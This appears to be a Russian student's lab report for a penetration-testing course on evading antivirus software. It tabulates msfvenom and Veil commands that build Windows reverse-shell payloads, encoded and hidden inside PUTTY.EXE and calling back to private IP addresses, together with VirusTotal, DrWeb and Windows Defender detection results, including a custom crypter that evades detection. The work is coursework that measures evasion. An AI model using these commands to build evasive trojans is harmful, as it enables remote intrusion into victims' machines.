Спецкурс «Тестирование компьютерных систем на проникновение»
Лабораторная работа № 9
Обход средств антивирусной защиты
Милицкая, МК-501

| | VirusTotal(Score) | DrWeb | Defender Windows10 Pro | Defender Windows10 Home |
|---|---|---|---|---|
| msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=192.168.43.82 LPORT=3333 -e x86/shikata_ga_nai -i 10 -f raw > eoncode.bin<br><br>msfvenom -p - -x ../PUTTY.EXE -k -f exe -a x86 --platform windows -e x86/bloxor -i 2 > msfcrypt.exe < eoncode.bin | 51/71 | Trojan.Swrort.10 | **Trojan:Win32/Meterpreter!pz** | Trojan:Win32/Meterpreter!pz |
| veil -t Evasion -p 23 --msfvenom windows/shell_reverse_tcp --ip 192.168.1.4 --port 8676 | 31/60 | PowerShell.DownLoader.251 | **Trojan:PowerShell/Leivion.gen!B** | Trojan:PowerShell/Leivion.gen!B |
| Reverse shell with -x putty.exe<br><br>msfvenom -a x86 -p windows/shell_reverse_tcp lport=3333 lhost=192.168.43.82 -x PUTTY.EXE -f exe -o shell3333_putty_192_168_43_82.exe | 46/72 | Undetected | **Trojan:Win32/Meterpreter.gen!O** | Trojan:Win32/Meterpreter.gen!O |
| Reverse shell with -x putty.exe<br>Упакоованный своим криптором<br>Без антиэмуляции | 44/72 | Undetected | Trojan:Win32/Meterpreter.O | Trojan:Win32/Meterpreter.O |
| Reverse shell with -x putty.exe<br>Упакоованный своим криптором<br>С антиэмуляцией | 33/72 | Undetected | Trojan:Win32/Wacatac.B!ml | Undetected<br><br>После выполнения нескльких команд<br><br>Behavior:Win32/Meterpreter.gen!D<br><br>При этом сессия не умерла |

| | | | | |
|---|---|---|---|---|
| Просто putty<br>Упакоованный<br>С антиэмуляцией | 33/72 | Undetected | Trojan:Win32/Wacatac.B!ml | Undetected |
| Просто putty<br>Упакоованный без антиэмуляции | 4/72 | Undetected | Undetected | Undetected |